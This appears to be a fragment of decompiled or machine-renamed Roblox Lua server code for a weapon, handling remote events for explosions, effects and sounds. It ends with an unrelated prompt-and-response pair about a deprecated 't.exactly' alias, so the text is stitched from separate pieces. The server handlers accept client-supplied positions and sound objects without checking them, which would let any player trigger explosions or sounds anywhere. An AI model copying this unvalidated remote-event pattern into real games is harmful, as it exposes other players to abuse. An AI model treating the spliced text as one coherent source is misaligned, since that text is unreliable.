L_40_.OnServerEvent:connect(function(L_117_arg1, L_118_arg2)
	L_40_:FireAllClients(L_117_arg1, L_118_arg2)
end)

L_41_.OnServerEvent:connect(function(L_119_arg1, L_120_arg2)
	local L_121_ = Instance.new('Part', workspace)
	L_121_.Size = Vector3.new(0.1, 0.1, 0.1)
	L_121_.Transparency = 1
	L_121_.CanCollide = false
	L_121_.Anchored = true
	L_121_.Position = L_120_arg2
	local L_122_ = Instance.new('Explosion', workspace)
	L_122_.Position = L_120_arg2
	L_122_.BlastPressure = L_12_.BlastPressue
	L_122_.BlastRadius = L_12_.BlastRadius
	L_122_.DestroyJointRadiusPercent = L_12_.DestroyJointRadius
	L_122_.ExplosionType = L_12_.ExplosionType
	local L_123_ = L_31_:WaitForChild('ExplosionSound'):clone()
	L_123_.Parent = L_121_
	L_123_:Play()
	game:GetService('Debris'):AddItem(L_121_, L_123_.TimeLength)
end)

L_43_.OnServerEvent:connect(function(L_124_arg1, L_125_arg2)
	for L_126_forvar1, L_127_forvar2 in pairs(game.Players:GetChildren()) do
		if L_127_forvar2:IsA('Player') and L_127_forvar2.PlayerGui:FindFirstChild('MainGui') and L_127_forvar2.PlayerGui.MainGui:FindFirstChild('Shading') then
			for L_128_forvar1, L_129_forvar2 in pairs(L_127_forvar2.Character:GetChildren()) do
				if L_129_forvar2:IsA('Tool') and L_129_forvar2:FindFirstChild('Resource') and L_129_forvar2.Resource:FindFirstChild('Events') and L_129_forvar2.Resource.Events:FindFirstChild('ServerFXEvent') then
					L_129_forvar2.Resource.Events.ServerFXEvent:FireClient(L_127_forvar2, L_125_arg2, L_2_)
				end
			end
		end
	end
end)

L_44_.OnServerEvent:connect(function(L_130_arg1, L_131_arg2, L_132_arg3)
	L_131_arg2.SoundId = 'rbxassetid://' .. L_132_arg3
	L_131_arg2:Play()
end)


Prompt:
--[[**
	DEPRECATED
	Please use t.literal
**--]]

Response: t.exactly = t.literal